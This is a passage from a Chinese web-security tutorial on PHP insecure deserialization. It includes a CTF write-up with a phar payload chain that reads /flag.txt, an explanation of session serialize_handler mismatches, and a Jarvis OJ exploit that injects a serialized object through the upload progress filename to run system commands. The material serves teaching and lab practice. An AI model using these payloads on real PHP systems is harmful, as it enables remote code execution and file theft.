![image-20240412105627247](13.不安全的反序列化/image-20240412105627247.png)
查看删除部分的代码发现还有个delete.php文件
![image-20240412105631368](13.不安全的反序列化/image-20240412105631368.png)
根据提示查看class.php文件
![image-20240412105635601](13.不安全的反序列化/image-20240412105635601.png)
这个利用点 `file_get_contents` 没有对关键字进行过滤所以我们肯定是利用这个函数来获取flag 。
首先是定义的 close 函数我们跳转到哪里调用了这个close()
跟进代码看到是User类 的`__destrust() `调用了 close()
__![image-20240412105642427](13.不安全的反序列化/image-20240412105642427.png)__
简单的逻辑 就是: `User->__destruct() =>File -> close() -> 读取flag`
但是调用了并没有回显
class.php 有一个 `__call() `方法可以使用
如果想要读取文件内容肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句;
注意到 User类中在
![image-20240412105706986](13.不安全的反序列化/image-20240412105706986.png)
`__destruct`时调用了close(),按原逻辑,`$db`应该是mysqli即数据库对象但是我们可以构造`$db`指定为 File对象这样就可以读取到文件了。
可读取到文件不能呈现给我们,注意到` __call`魔术方法这个魔术方法的主要功能就是如果要调用的方法我们这个类中不存在就会去File中找这个方法并把执行结果存入 `$this->results[$file->name()][$func]`,刚好我们利用这一点:让 `$db``FileList` 对象,当 $db销毁时触发` __destruct`调用close(),由于 FileList没有这个方法于是去 File类中找方法读取到文件存入 results
```
// 思路是这样的
$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result。
// 通过delete.php将结果返回
__destruct正好会将 $this->results[$file->name()][$func]的内容打印出来
```
生成payload
```php
<?php
class User {
public $db;
public function __construct(){
$this->db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array(new File());
$this->results=array();
$this->funcs=array();
}
}
class File {
public $filename="/flag.txt";
}
$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","test"); //添加压缩文件文件名字为shell.txt,内容为snowy
$phar->stopBuffering();
```
修改后缀为.gif然后上传
![image-20240412105721573](13.不安全的反序列化/image-20240412105721573.png)
抓取delete.php的数据包修改post提交的数据然后得到flag
![image-20240412105726460](13.不安全的反序列化/image-20240412105726460.png)
## 6. session反序列化
### 6.1 前置知识
理解php的session之前先了解一下session是什么
**Session**
在计算机中尤其是在网络应用中称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样当用户在应用程序的Web页之间跳转时存储在Session对象中的变量将不会丢失而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web页时如果该用户还没有会话则Web服务器将自动创建一个 Session对象。当会话过期或被放弃后服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。例如如果用户指明不喜欢查看图形就可以将该信息存储在Session对象中。不过不同语言的会话机制可能有所不同。
**PHP session**
可以看做是一个特殊的变量且该变量是用于存储关于用户会话的信息或者更改用户会话的设置需要注意的是PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别所以session 的安全性相对较高。
**session的工作流程**
当第一次访问网站时Session_start()函数就会创建一个唯一的Session ID并自动通过HTTP的响应头将这个Session ID保存到客户端Cookie中。同时也在服务器端创建一个以Session ID命名的文件用于保存这个用户的会话信息。当同一个用户再次访问这个网站时也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来这时Session_start()函数就不会再去分配一个新的Session ID而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件将这之前为这个用户保存的会话信息读出在当前脚本中应用达到跟踪这个用户的目的。
**seesion_start()的作用:**
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据即session文件 PHP 会自动反序列化session文件的内容并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID则创建一个由32个字母组成的PHPSESSID并返回set-cookie。
**php.ini中一些Session配置**
1. `session.save_path=""` --设置session的存储路径
2. `session.save_handler=""`--设定用户自定义存储函数如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
3. `session.auto_start boolen`--指定会话模块是否在请求开始时启动一个会话默认为0不启动
4. `session.serialize_handler string`--定义用来序列化/反序列化的处理器名字。默认使用php
常见的`php-session`存放位置有:
1. `/var/lib/php5/sess_PHPSESSID`
2. `/var/lib/php7/sess_PHPSESSID`
3. `/var/lib/php/sess_PHPSESSID`
4. `/tmp/sess_PHPSESSID`
5. `/tmp/sessions/sess_PHPSESSED`
6. 在php.ini里查找`session.save_path`,也可以在这里更改路径
`session.serialize_handler`定义的引擎有三种,如下表所示:
| **处理器名称** | **存储格式** |
| -------------- | ------------------------------------------------------------ |
| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
| php_serialize | 经过serialize()函数序列化处理的数组 |
注:自 PHP 5.5.4 起可以使用 `_phpserialize`
上述三种处理器中php_serialize在内部简单地直接使用 serialize/unserialize函数并且不会有php和 php_binary所具有的限制。 使用较旧的序列化处理器导致`$_SESSION` 的索引既不能是数字也不能包含特殊字符(| 和 !) 。
查看版本注意在php 5.5.4以前默认选择的是php5.5.4之后就是php_serialize,这里面是php_serialize,同时意识到 在index界面的时候设置选择的是php因此可能会造成漏洞
下面我们实例来看看三种不同处理器序列化后的结果。
```php
<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
```
比如这里我get进去一个值为abc,查看一下各个存储格式:
- php : lemon|s:3:"abc";
- php_serialize : a:1:&#123;s:5:"lemon";s:3:"abc";}
- php_binary : lemons:3:"abc";
其实PHP中的Session的实现是没有的问题危害主要是由于程序员的Session使用不当而引起的。如使用不同引擎来处理session文件。
### 6.2 漏洞造成原理
当php_serialize处理器处理接收sessionphp处理器处理session时便会造成反序列化的可利用因为php处理器是有一个|间隔符当php_serialize处理器传入时在序列化字符串前加上`|``|O:7:"xiaoxin":1:&#123;s:4:"name";s:9:"eagleslab";}"`
此时session值为`a:1:&#123;s:7:"session";s:44:"|O:9:"eagleslab:1:&#123;s:4:"name";s:9:"eagleslab";}";}`当php处理器处理时会把|当作间隔符取出后面的值去反序列化即是我们构造的payload`|O:9:"eagleslab:1:&#123;s:4:"name";s:9:"eagleslab";}"`
**简单实例**
session.php
```php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
```
class.php
```php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class TestObject{
public $name = "未反序列化";
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new TestObject();
?>
```
这两个文件作用很清晰他们的php处理器不一样session.php用于接收get请求的session值class.php反序列前会输出“未反序列化”反序列化后会输出name值这里我们构造|加序列化字符使class输出name值则说明反序列化成功
先访问session.php,看看自动获取的session
```php
a:1:{s:7:"session";N;}
```
构造payload
```php
<?php
class TestObject{
public $name = "payload";
}
$o = new TestObject();
echo serialize($o);
?>
// O:10:"TestObject":1:{s:4:"name";s:7:"payload";}
```
使用payload
![image-20240412105737501](13.不安全的反序列化/image-20240412105737501.png)
发现session中的内容已经发生改变
```php
a:1:{s:7:"session";s:48:"|O:10:"TestObject":1:{s:4:"name";s:7:"payload";}";}
```
直接访问class.php就会成功执行反序列化漏洞
![image-20240412105742240](13.不安全的反序列化/image-20240412105742240.png)
### 6.3 [Jarvis OJ] PHPINFO
部署环境
```php
docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:ojphpinfo
```
PHP 在 5.5.4 版本之后默认将 session.serialize_handler而在这里却将 session.serialize_handler 设置成了 php通过 phpinfo 查看相应条目也能看到),所以有这个漏洞。
![image-20240412105748511](13.不安全的反序列化/image-20240412105748511.png)
再结合 OowoO 这个析构函数里会执行 mdzz 这个字符串,所以我们可以构造一个 OowoO然后利用漏洞达到执行任何指令的目的。
但是现在问题在于,如何将我们构造的 OowoO 存储到 session 里。答案在 `session.upload_progress.enabled `这个选项里,通过查阅[官方文档](https://www.php.net/manual/zh/session.upload-progress.php)得知,可以构造上传达到存信息到 session 里,文档里有个例子
```html
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
```
则 session 里存储的为
```php
<?php
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489, // Amount of bytes received and processed
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);
```
#### 6.3.1 upload_process机制
当一个上传在处理中同时POST一个与INI中设置的session.upload_progress.name同名变量时当PHP检测到这种POST请求时它会在$_SESSION中添加一组数据。所以可以通过`PHP_SESSION_UPLOAD_PROGRESS`来设置session。
#### 6.3.2 利用方法
序列化一个 OowoO 为 `O:5:"OowoO":1:&#123;s:4:"mdzz";s:31:"print(system("ls /opt/lampp/htdocs/"))";}`然后将其作为文件名构造提交。但是文件名一般不支持这些特殊字符所以得用一些手段BurpSuite 来抓包并修改文件名。
编写一个 html 文件用于上传文件
```html
<form action="http://192.168.173.66/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
```
然后随便上传一个文件BP 抓包后修改上传的文件名为(双引号转义是因为 HTTP 报文包里 filename 的值是用 " 来包裹的)
```
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
```
![image-20240412105757160](13.不安全的反序列化/image-20240412105757160.png)
这样子构造数据包查看返回包就能看到反序列化后的内容,这里引用大佬文章的图片,本地搭建没复现成功,但是这个思路是可以参考学习的
![image-20250619145950421](13.不安全的反序列化/image-20250619145950421.png)